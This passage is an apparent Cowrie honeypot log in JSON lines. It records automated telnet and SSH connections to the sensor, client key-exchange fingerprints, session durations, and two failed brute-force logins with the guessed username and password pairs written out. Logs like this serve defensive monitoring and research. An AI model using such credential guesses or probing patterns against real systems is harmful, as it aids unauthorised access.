{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:28.482402Z","src_ip":"62.133.63.178","session":"997703ded931","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.83110022544861,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:36.790961Z","src_ip":"192.119.13.58","session":"45b74f2540c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48710,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf11b48cdf0","protocol":"telnet","message":"New connection: 192.119.13.58:48710 (10.17.0.5:23) [session: 0cf11b48cdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:40.434830Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40330,"dst_ip":"10.17.0.5","dst_port":22,"session":"2149d6e0a2be","protocol":"ssh","message":"New connection: 193.228.128.84:40330 (10.17.0.5:22) [session: 2149d6e0a2be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:48.964640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:48.969274Z","src_ip":"193.228.128.84","session":"2149d6e0a2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:49.072510Z","src_ip":"193.228.128.84","session":"2149d6e0a2be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irishka","message":"login attempt [root/irishka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:49.383340Z","src_ip":"193.228.128.84","session":"2149d6e0a2be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:50.488696Z","src_ip":"193.228.128.84","session":"2149d6e0a2be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52244,"dst_ip":"10.17.0.5","dst_port":22,"session":"98a205693900","protocol":"ssh","message":"New connection: 80.94.92.184:52244 (10.17.0.5:22) [session: 98a205693900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:53.723035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:53.798419Z","src_ip":"80.94.92.184","session":"98a205693900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:53.933023Z","src_ip":"80.94.92.184","session":"98a205693900","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:54.445714Z","src_ip":"80.94.92.184","session":"98a205693900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:55.600481Z","src_ip":"80.94.92.184","session":"98a205693900","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.235689640045166,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:54:57.132208Z","src_ip":"192.119.13.58","session":"18571ca102bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.81546092033386,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:01.283719Z","src_ip":"192.119.13.58","session":"8594012795f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53588,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f0f78b9fd3","protocol":"telnet","message":"New connection: 192.119.13.58:53588 (10.17.0.5:23) [session: 85f0f78b9fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:02.437023Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52954,"dst_ip":"10.17.0.5","dst_port":23,"session":"559604df10fc","protocol":"telnet","message":"New connection: 192.119.13.58:52954 (10.17.0.5:23) [session: 559604df10fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:09.477105Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40828,"dst_ip":"10.17.0.5","dst_port":23,"session":"b80a323c1146","protocol":"telnet","message":"New connection: 192.119.13.58:40828 (10.17.0.5:23) [session: b80a323c1146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:13.693604Z"}
{"eventid":"cowrie.session.closed","duration":0.015095710754394531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:13.708555Z","src_ip":"192.119.13.58","session":"b80a323c1146","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46696,"dst_ip":"10.17.0.5","dst_port":23,"session":"454516f5a1cc","protocol":"telnet","message":"New connection: 192.119.13.58:46696 (10.17.0.5:23) [session: 454516f5a1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:15.369126Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37048,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dea47d8373c","protocol":"telnet","message":"New connection: 192.119.13.58:37048 (10.17.0.5:23) [session: 0dea47d8373c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:19.996040Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":42442,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c88893634d7","protocol":"telnet","message":"New connection: 186.195.16.41:42442 (159.203.135.109:23) [session: 3c88893634d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:20.186668Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53564,"dst_ip":"10.17.0.5","dst_port":23,"session":"dee46dcbf80c","protocol":"telnet","message":"New connection: 192.119.13.58:53564 (10.17.0.5:23) [session: dee46dcbf80c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:24.121304Z"}
{"eventid":"cowrie.session.closed","duration":0.00585484504699707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:24.127017Z","src_ip":"192.119.13.58","session":"dee46dcbf80c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.22305965423584,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:24.657740Z","src_ip":"192.119.13.58","session":"0cf11b48cdf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"1999bb95f87f","protocol":"telnet","message":"New connection: 192.119.13.58:32940 (10.17.0.5:23) [session: 1999bb95f87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:26.169106Z"}
{"eventid":"cowrie.session.closed","duration":0.005019187927246094,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:26.173984Z","src_ip":"192.119.13.58","session":"1999bb95f87f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44052,"dst_ip":"10.17.0.5","dst_port":23,"session":"4310ad7b2319","protocol":"telnet","message":"New connection: 192.119.13.58:44052 (10.17.0.5:23) [session: 4310ad7b2319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:35.870915Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53066,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8055ae74414","protocol":"telnet","message":"New connection: 192.119.13.58:53066 (10.17.0.5:23) [session: b8055ae74414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:38.036014Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39340,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2f0854e9a6c","protocol":"telnet","message":"New connection: 192.119.13.58:39340 (10.17.0.5:23) [session: c2f0854e9a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:41.746452Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50978,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fea7043fab3","protocol":"telnet","message":"New connection: 192.119.13.58:50978 (10.17.0.5:23) [session: 1fea7043fab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:44.428452Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52400,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cf070dce475","protocol":"telnet","message":"New connection: 192.119.13.58:52400 (10.17.0.5:23) [session: 4cf070dce475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:44.798106Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54148,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cf1263a2d66","protocol":"telnet","message":"New connection: 192.119.13.58:54148 (10.17.0.5:23) [session: 3cf1263a2d66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:45.234992Z"}
{"eventid":"cowrie.session.closed","duration":48.41209650039673,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:50.848993Z","src_ip":"192.119.13.58","session":"85f0f78b9fd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.92046499252319,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:53.397468Z","src_ip":"192.119.13.58","session":"559604df10fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.132.161.111","src_port":44091,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f5fcf10c801","protocol":"telnet","message":"New connection: 220.132.161.111:44091 (10.17.0.5:23) [session: 4f5fcf10c801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:55:54.313138Z"}
{"eventid":"cowrie.session.closed","duration":46.714027404785156,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:02.083023Z","src_ip":"192.119.13.58","session":"454516f5a1cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.33780026435852,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:07.333705Z","src_ip":"192.119.13.58","session":"0dea47d8373c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.265823364257812,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:07.578875Z","src_ip":"220.132.161.111","session":"4f5fcf10c801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36750,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d9712affe3f","protocol":"telnet","message":"New connection: 192.119.13.58:36750 (10.17.0.5:23) [session: 9d9712affe3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:08.921059Z"}
{"eventid":"cowrie.session.closed","duration":50.464553356170654,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:10.651094Z","src_ip":"186.195.16.41","session":"3c88893634d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866663932800293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:15.294972Z","src_ip":"192.119.13.58","session":"1fea7043fab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.18933463096619,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:18.060071Z","src_ip":"192.119.13.58","session":"4310ad7b2319","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47996,"dst_ip":"10.17.0.5","dst_port":23,"session":"a96c67dd6443","protocol":"telnet","message":"New connection: 192.119.13.58:47996 (10.17.0.5:23) [session: a96c67dd6443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:19.020808Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":45332,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd835a2c3a12","protocol":"telnet","message":"New connection: 186.195.16.41:45332 (159.203.135.109:23) [session: dd835a2c3a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:19.176758Z"}
{"eventid":"cowrie.session.closed","duration":42.72710204124451,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:20.763007Z","src_ip":"192.119.13.58","session":"b8055ae74414","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.60011148452759,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:22.834984Z","src_ip":"192.119.13.58","session":"3cf1263a2d66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36106,"dst_ip":"10.17.0.5","dst_port":23,"session":"2eaae1af3a28","protocol":"telnet","message":"New connection: 192.119.13.58:36106 (10.17.0.5:23) [session: 2eaae1af3a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:23.226002Z"}
{"eventid":"cowrie.session.closed","duration":38.771241903305054,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:23.569237Z","src_ip":"192.119.13.58","session":"4cf070dce475","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b64e84278fd","protocol":"telnet","message":"New connection: 192.119.13.58:39120 (10.17.0.5:23) [session: 6b64e84278fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:23.907883Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42402,"dst_ip":"10.17.0.5","dst_port":23,"session":"7525d35ce651","protocol":"telnet","message":"New connection: 192.119.13.58:42402 (10.17.0.5:23) [session: 7525d35ce651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:24.723346Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58742,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b53fb2110d","protocol":"telnet","message":"New connection: 192.119.13.58:58742 (10.17.0.5:23) [session: 98b53fb2110d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:28.829283Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59520,"dst_ip":"10.17.0.5","dst_port":23,"session":"d374bc41513d","protocol":"telnet","message":"New connection: 192.119.13.58:59520 (10.17.0.5:23) [session: d374bc41513d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:29.009655Z"}
{"eventid":"cowrie.session.closed","duration":48.66294980049133,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:30.409175Z","src_ip":"192.119.13.58","session":"c2f0854e9a6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60344,"dst_ip":"10.17.0.5","dst_port":23,"session":"308f838fab56","protocol":"telnet","message":"New connection: 192.119.13.58:60344 (10.17.0.5:23) [session: 308f838fab56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:36.125454Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36510,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e80ad23ad78","protocol":"telnet","message":"New connection: 192.119.13.58:36510 (10.17.0.5:23) [session: 8e80ad23ad78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:37.217167Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57272,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ef32fa12b9a","protocol":"telnet","message":"New connection: 192.119.13.58:57272 (10.17.0.5:23) [session: 7ef32fa12b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:42.283632Z"}
{"eventid":"cowrie.session.closed","duration":40.780394315719604,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:49.701335Z","src_ip":"192.119.13.58","session":"9d9712affe3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36896,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9507a95cd64","protocol":"telnet","message":"New connection: 192.119.13.58:36896 (10.17.0.5:23) [session: b9507a95cd64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:51.236675Z"}
{"eventid":"cowrie.session.closed","duration":36.779892444610596,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:55.800573Z","src_ip":"192.119.13.58","session":"a96c67dd6443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.763888359069824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:55.989748Z","src_ip":"192.119.13.58","session":"2eaae1af3a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59742,"dst_ip":"10.17.0.5","dst_port":23,"session":"0403b09ef328","protocol":"telnet","message":"New connection: 192.119.13.58:59742 (10.17.0.5:23) [session: 0403b09ef328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:58.233648Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40508,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc45796460e2","protocol":"telnet","message":"New connection: 192.119.13.58:40508 (10.17.0.5:23) [session: cc45796460e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:56:59.377239Z"}
{"eventid":"cowrie.session.closed","duration":37.6693434715271,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:01.577117Z","src_ip":"192.119.13.58","session":"6b64e84278fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":56408,"dst_ip":"159.203.135.109","dst_port":22,"session":"a40577551956","protocol":"ssh","message":"New connection: 103.27.238.114:56408 (159.203.135.109:22) [session: a40577551956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:02.034238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:02.039263Z","src_ip":"103.27.238.114","session":"a40577551956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.49358558654785,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:57:02.216810Z","src_ip":"192.119.13.58","session":"7525d35ce651","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 